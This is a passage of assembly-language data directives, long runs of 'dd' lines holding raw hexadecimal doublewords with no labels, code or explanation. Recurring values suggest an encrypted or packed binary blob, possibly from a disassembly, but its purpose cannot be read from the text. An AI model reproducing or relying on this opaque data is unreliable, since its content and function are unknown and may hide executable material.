		dd 383F7DA0h, 0EA33B637h, 2E52362Eh, 0BDB55F45h, 15F69DFBh
		dd 79F8D64Bh, 41741DFFh, 0D4820B3Ah, 36DBB0AEh,	0D39FBC25h
		dd 612944F4h, 1CD679B6h, 8D7E92F8h, 3C9C337Dh, 77B55B34h
		dd 9A3CC5ABh, 0BB801B38h, 0B1E1DFA9h, 0B04DA871h, 0E9A9CA71h
		dd 634340A9h, 70EDF96Dh, 553BBB15h, 461E313h, 250FF0AAh
		dd 531C8B9Dh, 6FCBE61Bh, 0A1483BBh, 0FF70EECAh,	95098CCAh
		dd 0B23CC5D2h, 0A5E08618h, 0DF11BD86h, 5F8024B5h, 0FB49556Ah
		dd 0A7308968h, 0CBB17211h, 0B89C27C8h, 0E1227A94h, 0C1294AB1h
		dd 35F662E9h, 0F45E8E27h, 0E90AB12Eh, 0F537C1A2h, 0BD44E8Bh
		dd 4786E839h, 7CC30861h, 0D51617C9h, 26358C58h,	0D29C8BABh
		dd 0C487BB08h, 0FCC06D32h, 0C000BEC3h, 38009AB7h, 0DD14633Fh
		dd 84F2718Ah, 0DF375125h, 0F9FCA751h, 7450079h,	0C15B7AA6h
		dd 0E2DC1314h, 50DE80C5h, 54D93809h, 0D94484A2h, 161046D0h
		dd 754EEF5Dh, 808C71A1h, 0D9823D4h, 2F5095C6h, 7EA7182Ah
		dd 0E84680B4h, 3A7E94Dh, 0C4393D97h, 15B4DC66h,	8461E353h
		dd 0F9E192D9h, 9EA85A33h, 0F2BD839Fh, 4FBB14F6h, 73DEE51Bh
		dd 0C51DCBE2h, 0ACC6C351h, 7E70AD1h, 0EF038021h, 2714D3F4h
		dd 2148C8D3h, 0D221AE7Ah, 77F69E89h, 7E9A64E1h,	1FC45051h
		dd 8E4476A2h, 0AB3DCD1h, 0D0D73208h, 6CCB9774h,	0B8579E6Eh
		dd 0F78A7CCCh, 9C0BBD9Bh, 0BBFD7CFAh, 808F48FCh, 5F88E4BDh
		dd 4FCD4928h, 0FBACF2DAh, 0D26AAD68h, 4264322Fh, 75CCE9A7h
		dd 28350EABh, 733C5ABh,	37A4C0F0h, 14FB2209h, 0CA4573B9h
		dd 14F7D942h, 78C7C74Ch, 33FDA2C0h, 74D7E7E9h, 0CA3E6ACh
		dd 64ABEF94h, 7DB2F75Ch, 43BA0E43h, 6EADE839h, 0B34FB4A6h
		dd 1CFC770Ch, 0A93CC5ABh, 2CADC244h, 7C927D77h,	28E7BDC3h
		dd 7C9A6EABh, 283B35C3h, 7C326EABh, 6C7E2022h, 0E31098D9h
		dd 7F9BC6FDh, 0B353876Ah, 0B1485F6Dh, 0DCBCA1DEh, 283CC5DEh
		dd 0B97233EEh, 130E5D9Fh, 462DA227h, 0AB0405F0h, 744CFE12h
		dd 0CA5C904h, 0DC812E77h, 7C9A7CDEh, 0ABA76F28h, 283CC297h
		dd 1CC776ABh, 9D3CC5ABh, 0D345A286h, 35B33B2Eh,	55BEC744h
		dd 15E2551Fh, 7EEE5A53h, 35C7C4D8h, 517CD50Bh, 0A18F197Eh
		dd 0A97B9EBh, 0F0F7DE17h, 0FAAE3982h, 4B51504Ch, 80A278B9h
		dd 93F37B1Eh, 0FFE09B9Bh, 67E9BDB8h, 0F9A711D3h, 397826B0h
		dd 16448300h, 0F70B2DDh, 0C3E90FFh, 180E701Eh, 784C2CEEh
		dd 64B160DFh, 4C7AAB87h, 0FBF8123Fh, 0CEBD7217h, 0E0D8E6DFh
		dd 111A9D9h, 4D817B15h,	5606A482h, 29A434ABh, 83CC5ABh
		dd 0B35284F4h, 0AB2DA226h, 32DA21Eh, 693CC5ABh,	6415853Ch
		dd 0ABBBF0D8h, 10697AF1h, 2822F0B4h, 283A9E3Dh,	569CC5ABh
		dd 6C832C6Ch, 5CBBC277h, 2810C277h, 0BE7AC5ABh,	0D214156Ch
		dd 5353EF0h, 0AADBA71Eh, 0DDABB837h, 13F9355h, 281FC9D8h
		dd 0B83C1BABh, 283CC543h, 0E859A5ABh, 7C726F1Ah, 7C7276D7h
		dd 283CF2D7h, 0E94C05ABh, 5B79042Ah, 0DD6D54BDh, 119BB55h
		dd 283CC5D8h, 8E651FABh, 0E7816EA3h, 352DED76h,	1E342CEh
		dd 6D3C1BD8h, 283CC543h, 0E85EA5ABh, 7C2A6F3Fh,	7C7276D7h
		dd 283CEFD7h, 0E97D30ABh, 35EAB146h, 109072Eh, 0B83C1BD8h
		dd 283CC543h, 0E859A5ABh, 7C726F1Ah, 7C7276D7h,	283C1ED7h
		dd 0E94C05ABh, 0A92F50A2h, 2822E3BCh, 2E8572A0h, 0E889F0B4h
		dd 0D6E9243h, 9BBED68Eh, 0D6AF511Ah, 504DC3B4h,	2266A506h
		dd 0DB46B1Ah, 0B70D6809h, 0A6E8804Ch, 0E8668AE7h, 0B901C575h
		dd 3E8DEF68h, 92DA689Fh, 66554378h, 0BF8467FDh,	0EAF02B36h
		dd 1F0B3FDBh, 70AD6AF5h, 0EA99174Ch
		dd 0C5B87056h, 92EF31F4h, 3 dup(0F21058F9h), 671058F9h
		dd 0CF10B2B2h, 0F21049CAh, 0BF3E78F9h, 0AE33C05Fh, 0A9DBC7F5h
		dd 0F2105CF5h, 0BF3189F9h, 4DD2C9F2h, 928D221Fh, 6614FE8h
		dd 8BF925C9h, 22EBBCF9h, 0A9FD247h, 0F2104D31h,	843ECC84h
		dd 66674E06h, 8BF2F21Ah, 2A3419F2h, 0E3AAC477h,	3E104E06h
		dd 0A36697Ah, 0F2104D31h, 843ECC84h, 66674E06h,	8BF2E123h
		dd 2A3419F2h, 0FFEEDC4Fh, 7E1B4E06h, 8BF922F5h,	92AD1976h
		dd 929C2148h, 21F058F9h, 0C71863B7h, 3E934D95h,	92F64D95h
		dd 18DF58F9h, 10AC4AB7h, 7D34A32Bh, 865AFC4Fh, 16694E06h
		dd 8BF947A5h, 92E1D302h, 7E1B58F9h, 8BF99EC5h, 92DF307Eh
		dd 0FDDFD775h, 1910B2F9h, 0F21049CAh, 0BF3478F9h, 9E83CFA1h
		dd 0A9DBC7F5h, 0F21023F5h, 0BF2F8BF9h, 2F678D9Bh, 9453D066h
		dd 67BD79BEh, 0F2117581h, 9A6AD1F9h, 0E78D21F9h, 0DF1C55F2h
		dd 0C41058F9h, 0FF389BF9h, 921058F9h, 653209A0h, 7D9D6CD6h
		dd 0F69D6D3Eh, 0C91058F9h, 0B5240A48h, 0AEB4E5Bh, 0AD40A1B4h
		dd 0F77B5428h, 7D50D1EAh, 8E053B58h, 59139AA6h,	8BFE79EDh
		dd 0C4D17B5Fh, 0FF389BF9h, 921058F9h, 653209A0h, 7D9D6CD6h
		dd 0F79D6D3Eh, 0C91058F9h, 71EE0A48h, 0BF3245DEh, 40C07B3h
		dd 0F90CFE1Bh, 0CF209844h, 0FA12FC4Fh, 95A4E06h, 8BF924F9h
		dd 1810B32Ah, 0F21049CAh, 0BF3378F9h, 9E8BCFA0h, 0A9DBC7F5h
		dd 0F2105CF5h, 0BF2ABEF9h, 70A8A170h, 0CC2FE4EFh, 9366565Ch
		dd 201058F9h, 2A37481Bh, 1E7C4D4Dh, 0E81172D5h,	43160F76h
		dd 0F7422829h, 0D51AD3EAh, 0F28D56FFh, 151F6D7h, 0F2104E65h
		dd 0D6388F9h, 117E5B1Dh, 0C4AF05ADh, 0FF389AF9h, 921058F9h
		dd 64DD0A93h, 7D9D6D0Eh, 0F79D6D3Eh, 3C1058F9h,	9E240A5Bh
		dd 18BBA51Dh, 8D06E522h, 3B1058F9h, 44EBB059h, 0FDD07633h
		dd 51D407E4h, 7512AA64h, 0F0BCF6D8h, 9C66CC84h,	92864E06h
		dd 929C215Bh, 34F058F9h, 0CF1862B7h, 3E934D9Eh,	92EA4D95h
		dd 0CF5E58F9h, 13D73CB7h, 92E1FF1Bh, 7E6958F9h,	8BF95139h
		dd 0F69ACBB7h, 45314E06h, 0F2105911h, 2260ED35h, 49379FCFh
		dd 0DA03BA5h, 929B2133h, 0C41458F9h, 420DC0E1h,	0A9DBD242h
		dd 0DDDFD1F5h, 0C233B8D9h, 3443565Ch, 6533A7BAh, 0CD9D6D3Eh
		dd 5E699194h, 8BF94F0Dh, 0F486DC76h, 79054E06h,	8BFE671Dh
		dd 0DB5EC484h, 0E674E06h, 8BF2B6B4h, 7A8D02F3h,	0C4AF05ADh
		dd 0FF3899F9h, 921058F9h, 65340A46h, 7D9D6D46h,	0E19D6D3Eh
		dd 3F1058F9h, 91270A0Eh, 18265B2h, 4B7CA8CAh, 0F2105D65h
		dd 9DC2B2F9h, 8073B7CDh, 0DA07CC68h, 6866F8B2h,	11FE6204h
		dd 7B1AD43Dh, 678D56BCh, 0F7406029h, 0D61ACFEAh, 0F28D21A3h
		dd 0E6F2D404h, 0C4334E06h, 4305B399h, 0F7469489h, 3CD87BEAh
		dd 0E4D9A49h, 8BFE48F5h, 0F21058CCh, 0FAB2CBAAh, 0F2104E06h
		dd 0A09058F9h, 0A21AD216h, 0DE8D21F5h, 0F210591Eh, 889355F9h
		dd 7D1058F9h, 81A93A20h, 62D6DF71h, 79D2CA68h, 928D2230h
		dd 9296CD02h, 928658F9h, 929C2147h, 20F058F9h, 0EF1B96B7h
		dd 3E934D95h, 92EA4D95h, 1BDA58F9h, 3F90A8B7h, 84D2C484h
		dd 0E694E06h, 8BFE6E41h, 0BA2F58E3h, 0F21058F7h, 21A66499h
		dd 8E7CB585h, 8E7C8D4Ch, 0F2105961h, 81A19C38h,	5C27FCF4h
		dd 6660F4Fh, 8BFE7C6Dh,	92AD3976h, 929C2149h, 2AF058F9h
		dd 3F1B90B7h, 3E934D95h, 92E84D95h, 0C25058F9h,	8BA828B7h
		dd 0ABFD0D11h, 7F8EC3C0h, 0F740C401h, 99558EAh,	0F2104D49h
		dd 45DD58E3h, 0F21058F7h, 23A66699h, 8E7C8585h,	8E7C8D4Ch
		dd 0F2105954h, 23A19E2Ah, 3A0399E1h, 9A13C58h, 8BF924F9h
		dd 0BAB1D247h, 0F21058FEh, 55C4952h, 22ADFBD2h,	0D243565Ch
		dd 0DD2962ACh, 6720B949h, 8838628Ch, 0BB1058F9h, 273BDE86h
		dd 3F69A78Fh, 8F3B4D95h, 9F1058F9h, 64E4F588h, 32BE6AC8h
		dd 0B7241CC9h, 80F63BEFh, 93641544h, 0DD31C8D9h, 8E7C8D84h
		dd 92E7CC02h, 0CC2058F9h, 0B86E481Bh, 65289194h, 0F7F0FC91h
		dd 8DCA05EAh, 458D226Fh, 0F21058F8h, 9C7EF455h,	0E6784D7h
		dd 8BF2B6B4h, 0D82ADC76h, 42054E06h, 0BA2058E4h, 0F21058F7h
		dd 2AA19199h, 8E7C8D85h, 8E7C8D4Ch, 0F2105953h,	7BA66939h
		dd 0A508B38Eh, 0BA6FA883h, 0F2105903h, 5573BB90h, 0C24BDCE5h
		dd 67BA9B42h, 0BA435613h, 0F21058CEh, 7162BC74h, 2BDA47CEh
		dd 9ED4AAB2h, 17ECB0C5h, 0B19E0208h, 229635Fh, 85C6D491h
		dd 64954E06h, 0F2105907h, 0F2104DF1h, 0EFC87AF9h, 35A506D4h
		dd 9672FC4Fh, 0D364E06h, 0F205D21Bh, 626958F9h,	9E6A842h
		dd 8BFE66E1h, 7DBA4CE3h, 3A07892Ch, 0C2E0449Eh,	9F7D7D4Ch
		dd 65802930h, 0F7F12C29h, 29CA05EAh, 0F28D2230h, 0D662CFD9h
		dd 678D226Fh, 7DBAA7C7h, 0DD9EF033h, 92ADE8F2h,	929C2147h
		dd 20F058F9h, 0EF1B96B7h, 3E934D95h, 92F74D95h,	1BDA58F9h
		dd 0CE1D2B7h, 0B1F5E992h, 0EBDF4F00h, 6643E76h,	8BFE6719h
		dd 0F21040F1h, 4C4C44F9h, 1F875821h, 0CE6F49B2h, 208D2297h
		dd 655485F7h, 0F79ABC01h, 4A58C7EAh, 671058F2h,	0A9D80E7Dh
		dd 0D2105999h, 0F9CACFD9h, 938D21F7h, 0F2104B75h, 0DD33B8F9h
		dd 0ADA6C47Eh, 93104E6Bh, 0F21EC375h, 1810B2F9h, 0F21049CAh
		dd 0BF3378F9h, 9E8BCFA0h, 0A9DBC7F5h, 0F21021F5h, 0BF2ABEF9h
		dd 22AF5D1Ch, 0F2EF3130h, 0EA82DC76h, 8B3B4E06h, 0C11058F9h
		dd 8EAFB96Dh, 0DFD9C377h, 7F7B21C7h, 111060C3h,	8BF95D95h
		dd 0C4424DAAh, 5C93ACE4h, 3906208Ah, 0E5EEFC84h, 0C84D4E06h
		dd 0DD8CA7F5h, 896255F9h, 671058F9h, 0F740F029h, 421AD1EAh
		dd 0C4926ABDh, 0FF389BF9h, 921058F9h, 653209A0h, 7D9D6CD6h
		dd 8E9D6D3Eh, 0C91058F9h, 12E40A48h, 791E0F20h,	8BF95489h
		dd 0A9CACC04h, 0C81B4E06h, 0CD10B2CDh, 0F21049CAh, 0BF2878F9h
		dd 0AE23C095h, 0A9DBC7F5h, 0F21023F5h, 0BF2387F9h, 0BA5403CDh
		dd 6907D170h, 7E187A69h, 8BFE6D41h, 0ADAACC76h,	117B4E6Bh
		dd 8BF95375h, 7F988E84h, 928760C3h, 929C20BAh, 23F058F9h
		dd 0D71865B7h, 3E934D95h, 92EB4D95h, 1ACD58F9h,	3905A1B7h
		dd 939794E5h, 0F2104C83h, 0BE28F6F9h, 884D8B1Bh, 0F0B5AA6Fh
		dd 0E89C8DAAh, 0C410ADE4h, 0FF389BF9h, 921058F9h, 653209A0h
		dd 7D9D6CD6h, 0E19D6D3Eh, 0C91058F9h, 14A80A48h, 0B5FBE6B3h
		dd 0F3EBC53Ch, 0B34ECBBCh, 23D24E06h, 67246B88h, 9C4E1479h
		dd 889E55EAh, 7D1058F9h, 3836057Ch, 91D8C073h, 0BA2058E3h
		dd 0F21058F7h, 2AA19199h, 8E7C8D85h, 8E7C8D4Ch,	0F210591Dh
		dd 97A66939h, 9A0E7050h, 731E4DBCh, 97123F4Dh, 0E6E611Bh
		dd 8BFF77C5h, 0BA2358E3h, 0F21058F7h, 35A19099h, 8E7C9585h
		dd 8E7C8D4Ch, 0F2105954h, 80A6680Ch, 7A02A34Ch,	6E11D927h
		dd 0B3DADC4Fh, 0C81B4E06h, 0DE72C011h, 2A8D226Fh, 0DDD40100h
		dd 7262D474h, 0C48D2299h, 0FF389AF9h, 921058F9h, 64DD0A93h
		dd 7D9D6D0Eh, 0D99D6D3Eh, 3C1058F9h, 0B6180A5Bh, 0BF3D334Ch
		dd 0BA63AC56h, 0F2105907h, 3E4F75DBh, 5491D58Eh, 8EE91FFAh
		dd 5E8B342Ch, 237E8C48h, 0F2105265h, 0B5BE86F9h, 0E5F25382h
		dd 38DD5F76h, 8D1C569Ch, 451058F9h, 0F2105911h,	0BB02EB96h
		dd 1A3E9CEAh, 0A9FEF062h, 5CA05CAh, 938D21A5h, 0F2117F82h
		dd 0D9CAD1F9h, 3A8D2207h, 75507F79h, 727C4D4Dh,	6781C605h
		dd 29CA0667h, 0AD8D2230h, 0F74703E0h
		dd 0C4AF05EAh, 0FF389DF9h, 921058F9h, 653009D2h, 7D9D6CE6h
		dd 0F49D6D3Eh, 0CB1058F9h, 374C09BAh, 42B201CCh, 0FDDFF0DEh
		dd 7E1B58F9h, 8BFE71CDh, 7EE018F6h, 0F21058FBh,	45DD58E3h
		dd 0F21058F7h, 23A66699h, 8E7C8585h, 8E7C8D4Ch,	0F210591Dh
		dd 0FBA19E2Ah, 3D2155C0h, 73940ABDh, 92F1D91Bh,	0BA2358F9h
		dd 0F2105910h, 0DA446668h, 0E131F4C3h, 0FB59BA2Eh, 34328867h
		dd 66430D2h, 8BFE7EE9h,	0A093DEACh, 7910F689h, 8BFE71C9h
		dd 0F2104764h, 0B415A6F9h, 8546D82Bh, 0F3C7F30Ch, 430713ECh
		dd 0F7E98889h, 6708D1EAh, 9038B8B2h, 0BA1058F9h, 0EE184BD6h
		dd 62F0337Ch, 22240282h, 929E55BFh, 341058F9h, 0F2105565h
		dd 4C1C24F9h, 55E10A6Bh, 0C15C4BF2h, 661B80Fh, 8BF921DDh
		dd 7F9BBBF9h, 0F7F01C01h, 0F58C58EAh, 53699A49h, 929D741Ah
		dd 821ACFF9h, 118D21CEh, 0E1C425E1h, 37AC05EAh,	99D2C9BAh
		dd 928D226Bh, 0CF205DE5h, 929D741Ah, 821ACFF9h,	118D21CEh
		dd 0E1C718E1h, 37AC05EAh, 896955BAh, 0CC1058F9h, 0D7C7F6D8h
		dd 1B10B393h, 0F21049CAh, 0BF2A78F9h, 9E93CFABh, 0A9DBC7F5h
		dd 0F2105BF5h, 0BEDD8DF9h, 946C44Ah, 8BF95CE5h,	92AD1976h
		dd 929C215Bh, 34F058F9h, 0CF1862B7h, 3E934D9Eh,	92E84D95h
		dd 0CF5E58F9h, 4BC1DDB7h, 9606EC91h, 791058F9h,	0EB50CA69h
		dd 0AEEF625Eh, 9FB82221h, 0F7794828h, 0BA9FD1EAh, 0F2105907h
		dd 0A3F7CAA1h, 904711Eh, 9F8EF742h, 0FE5946A7h,	0E8D28465h
		dd 0EA273F4Ch, 89675646h, 871058F9h, 0F7E4C828h, 325CC7EAh
		dd 67105994h, 0F7138C01h, 0D91BC2EAh, 93CC58F9h, 0E82879F2h
		dd 727629B2h, 0AAF2C07Dh, 9FC5DF46h, 0F00EC7B2h, 0BA3EC093h
		dd 0F2105905h, 85A7E170h, 0FDE53D7Bh, 0C9D2D235h, 2A8D221Bh
		dd 680184Dh, 1323888Bh,	0B5FFC7F7h, 7F2CB53Ah, 6530582Fh
		dd 0F77263E1h, 2729A7EAh, 4E1F400Fh, 248D221Fh,	43EDCC1Bh
		dd 0E6405CBh, 8BF9524Dh, 0B89E1F34h, 0FA68240Eh, 7E766F8h
		dd 9FB1F41h, 2C19240Fh,	2CEF851Bh, 4F435CE8h, 0F9773D27h
		dd 7160295Bh, 2C9C295Ch, 0B7AA5CE8h, 0C7BE9627h, 5BEE477Ch
		dd 2CA5094Bh, 0E86F36E8h, 0FA2B4CAEh, 7E771F4h,	2CE35CE8h
		dd 598BFDE9h, 2CBB240Fh, 5B9882EDh, 0B5EE034Bh,	2CE328E0h
		dd 0F3A57CE8h, 1017A204h, 10AAD9FCh, 2CE078FCh,	0F35BE5E8h
		dd 860D5D9Bh, 0BEEB6FE6h, 309629E8h, 0CE35CE8h,	0A9AE6811h
		dd 0B1EC4973h, 58EC48BBh, 71E35CE8h, 9CD197F9h,	0D0E1B105h
		dd 0BEEB2244h, 0AE0D5BE8h, 0ABEB6035h, 2ABCB127h, 9ECE877Dh
		dd 17B58543h, 2A165B9h,	87827AB7h, 153B4F46h, 9F6D68CDh
		dd 19875855h, 60233530h, 66805664h, 47F49859h, 0D6F4BFCEh
		dd 573DB9CDh, 9E981576h, 0EEA14FFFh, 0C11715ADh, 0BD1BB604h
		dd 595EFA97h, 0A3F8591Ch, 42CE24D6h, 0A3E844F3h, 0E4FCEA8Fh
		dd 1BFECA3Bh, 0B5489724h, 727133E5h, 65685390h,	5405EB80h
		dd 0B73C9035h, 0B46657B9h, 48A1B0F0h, 2E8889DAh, 0EF524FF1h
		dd 9232658Eh, 0F15ECD3h, 0DB90AA10h, 0A7AB7BF3h, 12F2B713h
		dd 7BFF8AF6h, 4F2D1348h, 79E42252h, 0E867E525h,	1154F2E7h
		dd 0D04471B7h, 0E7035342h, 0BCB44984h, 0BB3E4A8Fh, 0DDC7D554h
		dd 0C28F6C63h, 5D351A76h, 6DCC4B81h, 0F5EA46F4h, 599C2751h
		dd 4B551878h, 54BB4BC4h, 0AFACD763h, 26B3AC1Ah,	0C4FCF725h
		dd 0F53E7CCDh, 5A72F239h, 0CDDA36BDh, 0BDE531A4h, 12BBE644h
		dd 71699368h, 9E6C3A8Ah, 0C84D01B9h, 0DCE4C06Bh, 0C8D5C383h
		dd 68E11FBh, 0AEB050B5h, 5C550FB8h, 3F9DD575h, 58D990B2h
		dd 54F310D4h, 0F8A54725h, 0F2124C33h, 0C17B0E4Fh, 0A42428DCh
		dd 0A803C272h, 9087E524h, 0FBD5808Eh, 29512BDFh, 0E31BA5FDh
		dd 987919C9h, 6322D9ECh, 4E74212Ah, 914DFFBFh, 0B5703086h
		dd 0EAEC98F0h, 17DF26Eh, 10E1CB5Ch, 27BAF503h, 8DA0ED46h
		dd 38F1BD61h, 0BE0A1A76h, 0E968ABB3h, 1E4D7A2Ch, 7750437h
		dd 5C0DDCEBh, 0CE7F42E5h, 0E2AED9Bh, 0F3829FB0h, 5800E579h
		dd 0A037989Eh, 1D074E25h, 41C3789Ch, 3579AF1h, 1D591977h
		dd 392B749Ah, 2E808D0Fh, 5064E54Eh, 0C077D907h,	55EADDFAh
		dd 0B92F06DAh, 280601EDh, 2EE6FC1Eh, 77D877ADh,	99A0DF55h
		dd 4A62C2E0h, 4DAFDA39h, 81213F50h, 0A7AC1FB8h,	1F33477Dh
		dd 789CA3Dh, 26AE70Dh, 0F7FE0331h, 7E4C594Ah, 0C97BD8ADh
		dd 6152502Fh, 0E1D91A4Fh, 50493338h, 300CA4FBh,	3B68E572h
		dd 3C2725D7h, 0CB4FC9BCh, 0F97063Ch, 0AC2FB2Dh,	1DB157C3h
		dd 87A6CA15h, 6220A5B8h, 85FFD106h, 12E3916Ah, 0A64FAC24h
		dd 9DF5E522h, 0F2E75D09h, 0F85E7ADFh, 2D9DCB7Bh, 0A3D90FACh
		dd 3059E522h, 0A44EA0BFh, 54DD1Bh, 2F45CF76h, 0D9E06C35h
		dd 8C41E424h, 49DCACCh,	63662F5h, 82053631h, 2830B9EFh
		dd 0CBF171CEh, 0E32CD6C7h, 24C2FC76h, 6A88686Ah, 0FEEAE3D4h
		dd 73A87174h, 0CB408719h, 9E6E6D98h, 0EED0FE06h, 9B305280h
		dd 0B05BE48Bh, 57FB578Bh, 0E749CC49h, 32765621h, 925A8E70h
		dd 6CA43F82h, 0C56ACE21h, 0F6B25FD5h, 7555716Fh, 46F5C0D4h
		dd 2BADE848h, 4D9113FCh, 1A1FB569h, 9658F9Ah, 477775BCh
		dd 0D044F19Ah, 1684F885h, 3031C073h, 2200A6C9h,	8A99B638h
		dd 0F72D330h, 0E2328D58h, 0CB40B5A2h, 0FC050DC6h, 1B2BFDF0h
		dd 0D025FE38h, 0B462257Ah, 77D89BF0h, 0DC497BFBh, 0C0109D04h
		dd 92177C70h, 39469C8Ch, 7B0D0276h, 4DCA81D4h, 0F036F352h
		dd 0CB435D98h, 0E5BA5AF7h, 5901E4B2h, 6B6E8581h, 3D23DF6Dh
		dd 489DCB6Bh, 93448609h, 9AC6E4B2h, 9DA18908h, 55C3992Fh
		dd 7BEC54F4h, 0E3D3F352h, 3C726B0Dh, 4A389979h,	6DD75B0Fh
		dd 410C3383h, 0D59C3477h, 4D1C4C93h, 5891A66h, 2D9715E6h
		dd 914C41ADh, 94FC7E4Dh, 0F9679421h, 54CB582Ch,	5050B096h
		dd 0D21DDD5h, 43D3E07Bh, 44CEE72Eh, 4ABAB439h, 35274B39h
		dd 839C3423h, 0E3411FDh, 70DC947h, 2EB7F240h, 0A8D271ADh
		dd 0C319B208h, 0E6A64712h, 384A7B76h, 13D17600h, 2EB7A81Fh
		dd 0C7F540ADh, 2EA888DAh, 6C4B08ADh, 7923E2ABh,	0A5EC90E9h
		dd 52C398F0h, 6183830Bh, 0D4B45C44h, 864458D4h,	83D6583Ah
		dd 0A7A688F6h, 4CB7B56Bh, 0E3B6AA7Ah, 0AB3B6656h, 0B3129E2Eh
		dd 0A23D9666h, 0FCE570B7h, 89987AD1h, 0D134A3DCh, 9BA3158Dh
		dd 0FDC398F0h, 0B7C39529h, 0D505BDF0h, 0C3C464DAh, 3403015Dh
		dd 0B7C39516h, 9B3B13F0h, 0C3C464B3h, 0E7C784D8h, 9864F8D8h
		dd 0CEC398F0h, 9B9894B8h, 0B3926C04h, 5E7D2903h, 93189B03h
		dd 0D31F29B2h, 491618C1h, 34C96530h, 96E3AC13h,	2BBE1961h
		dd 1980100Dh, 8BE6E3DBh, 0CA0F1E89h, 0EC28DA80h, 0B4636C6Ah
		dd 34C7B4D9h, 0B467B564h, 192E98F0h, 0B7C3948Ch, 0FBFD1DF0h
		dd 0AB1B51E2h, 1B2EB474h, 0AB9C9524h, 0B88D2503h, 0B40DD271h
		dd 58E298F0h, 0B7C39964h, 0C3C7BCB3h, 5CCF77B8h, 0DF6385CBh
		dd 0DDC485E1h, 71D23F81h, 0B98FAA79h, 0FE293528h, 0AAA6945Ah
		dd 83B9C3D0h, 751B4E61h, 981B3CCFh, 0B18B2A7h, 12B71FBCh
		dd 0C68C0C94h, 0FE832603h, 8A811360h, 984FA810h, 0E02BF6A6h
		dd 0B7B823FCh, 762BFB5Ch, 84651E30h, 4794E6F1h,	0E4754A52h
		dd 85E7579Eh, 0AE2568E7h, 4CDC199Eh, 0C4886F55h, 790B75C0h
		dd 341D94FEh, 88A7F9F6h, 4343F8A3h, 5C4A1349h, 97B63154h
		dd 1E3D4B64h, 0E3ABE0BBh
		dd 0C4B7166Fh, 70A9CB0Eh, 383F8DDAh, 0B769EFF0h, 19B97847h
		dd 9A3AE612h, 0B7C393E4h, 7C4897F0h, 0B461E051h, 475898F0h
		dd 55C6D3D2h, 493A8A19h, 1EC398F0h, 9218042Eh, 6E17F0C3h
		dd 0B9A53276h, 8A5EF54Bh, 0B84C6B3Eh, 6C904A53h, 0B7C39806h
		dd 9345B5Ah, 0F2EEA305h, 0E426BBFFh, 0EB1B6169h, 1987F89Dh
		dd 71377EDFh, 0B7C3992Dh, 8FE4E226h, 177B1DECh,	178BC51Eh
		dd 5DE0FFC1h, 50C3BB0Bh, 0CBB0192Ah, 9A1636A3h,	0B7C064FBh
		dd 0B418E0F0h, 764198F0h, 18B45E73h, 61DD22EAh,	2AFC5F5Eh
		dd 329EF0ABh, 0B467E121h, 0B59E98F0h, 0DF099E2Fh, 0D5ECA2AFh
		dd 6AD6CE51h, 0B7C38FB9h, 0B12338F0h, 0C3B64813h, 0B785E134h
		dd 4E0B98F0h, 93572825h, 0EAB78E7Dh, 659A2119h,	0B59C71ABh
		dd 3717D87Bh, 198E65DDh, 4230613h, 67B11948h, 6CD57775h
		dd 0B7C39958h, 0CB556338h, 23F7C4F1h, 153A302Ah, 343ECF70h
		dd 7787DCC2h, 0EC4B376Dh, 0EDCA49B6h, 9A4143EEh, 0A089F183h
		dd 0D49FD87Bh, 9AA93062h, 0D39EE78Bh, 0B7C39964h, 0ADA1192Ah
		dd 8E360366h, 0E2209F0Ah, 77928128h, 8BC0CD90h,	0CE3EFB70h
		dd 0D051810Ch, 6FCCCE1Fh, 0B7C3981Fh, 0B1D42D9Dh, 10320734h
		dd 0E6F709DCh, 4AE3C16Ch, 9AB05CF2h, 0B7C393B3h, 7C4897F0h
		dd 4C8D9B0Eh, 9AC398F0h, 0B7C393ADh, 80AA18F0h,	346FD4B2h
		dd 897D8C32h, 0A0B8CEC7h, 0EDFF0F69h, 1A7AC470h, 4D2DCE50h
		dd 768E7EECh, 0A7BA7E2Bh, 0B7C38771h, 0FEA60EF0h, 4E71A670h
		dd 0EDDD5ACCh, 0E23E5A28h, 34F7B029h, 0DC7204DFh, 265B15F1h
		dd 9AFA7C88h, 0D19EDC83h, 0B7C39956h, 6CA8307Bh, 0B7C39952h
		dd 0DA408A9Dh, 0D49BFD2Ch, 15A69928h, 4F3BB2D0h, 6EC398F0h
		dd 516BAC3h, 9AA9EE6Eh,	0B7C396ADh, 0B785E0F0h,	0A85698F0h
		dd 0F5C75F18h, 2A95BE27h, 0CA2B58A5h, 0B4671C62h, 0FE298F0h
		dd 9983A956h, 2811307Bh, 0B4E79B47h, 5CC398F0h,	6F5B307Bh
		dd 0B7C39933h, 0E418029Fh, 9AA3827Dh, 0B7C399E4h, 0B461FDF0h
		dd 0C9DE98F0h, 0EF66A0B4h, 0A72E2D56h, 0B7C398AFh, 0AEBC30F0h
		dd 1CB85047h, 0D393A39Fh, 0B7C398F1h, 0B469137Bh, 638998F0h
		dd 0CA4A5F86h, 2684E484h, 464097B8h, 77A6312Ah,	0B41CE050h
		dd 908898F0h, 64B86261h, 392179DEh, 6CA4B224h, 0B7C39854h
		dd 0CB126F70h, 58EA4120h, 0B328714Dh, 0D9A3B716h, 5533A3F8h
		dd 0D380C548h, 3CB615B0h, 0E224FFEFh, 0D157BD25h, 80E76816h
		dd 6FC3992Fh, 0B7C39957h, 5BA3F2A1h, 0E4F21A30h, 6F9B3835h
		dd 0B7C398CAh, 0EB567C1Eh, 0FFDD51F3h, 0B4601C62h, 6C0F98F0h
		dd 0B7C398CAh, 0F1EC541Dh, 0A538055Dh, 0E8C398F0h, 0DC71F4E9h
		dd 0BBEEC087h, 4F8E87DFh, 0B466EFA3h, 31C198F0h, 5931D75Bh
		dd 5C318C54h, 0B7A61635h, 9B1AF96Bh, 0B7C398AFh, 599C72F0h
		dd 0E661CE2Ah, 8441725Fh, 0D70B6E19h, 0B99A7367h, 1980CD39h
		dd 601A04F3h, 0A5439B97h, 0D7C398F0h, 0B7C392B8h, 0E9FA40F0h
		dd 0A3440124h, 7FB11951h, 9B6B4AF4h, 0B7C39CAFh, 934178F0h
		dd 6AC16352h, 98BEA0A9h, 265B1E51h, 48EE6823h, 0FEC398F0h
		dd 0B7C39AB8h, 81D7CFF0h, 0A884EA19h, 19026FA4h, 0C119F61Bh
		dd 0B7C38FB8h, 0F9CE8F0h, 0EEC4F54h, 58438BD7h,	0F9DE163Ch
		dd 718B95B0h, 0B7C39861h, 5B439DE5h, 670457D2h,	7F4D6B24h
		dd 0F03DBD81h, 5338F0D9h, 7FC398F0h, 0CAE397E4h, 165FA7A9h
